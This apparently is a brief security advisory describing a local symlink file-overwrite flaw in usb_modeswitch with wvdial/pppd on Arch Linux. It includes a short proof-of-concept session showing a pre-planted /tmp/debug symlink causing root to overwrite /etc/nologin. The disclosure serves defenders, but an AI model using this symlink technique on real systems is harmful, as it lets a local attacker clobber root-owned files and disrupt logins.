Wvdial / usb_modeswitch File Overwrite

`Impact  
======  
  
Low  
  
  
Summary  
=======  
  
When using usb_modeswitch and invoking pppd from wvdial in -detach mode. a /tmp/debug  
file is created. Local Attacker could overwrite arbitrary files.  
  
  
Example  
=======  
  
,file /tmp/debug  
debug: broken symbolic link to `/etc/nologin'  
  
Insert stick and connect:  
  
,su  
Password:  
,sh connect >/dev/null  
  
,file debug  
debug: symbolic link to `/etc/nologin'  
  
,cd /etc && cat nologin  
symlink-name: /devices/pci0000:00/0000:00:1a.7/usb1/1-3/1-3:1.0/ttyUSB0/tty  
  
,ls -l nologin  
-rw-r--r-- 1 root root 84 Jan 19 01:11 nologin  
  
  
Software  
========  
archlinux: community/usb_modeswitch 1.2.1-1c  
archlinux: core/ppp 2.4.5-3 (base)  
  
  
Please verify. YMMV.  
  
  
Greetings  
srm  
`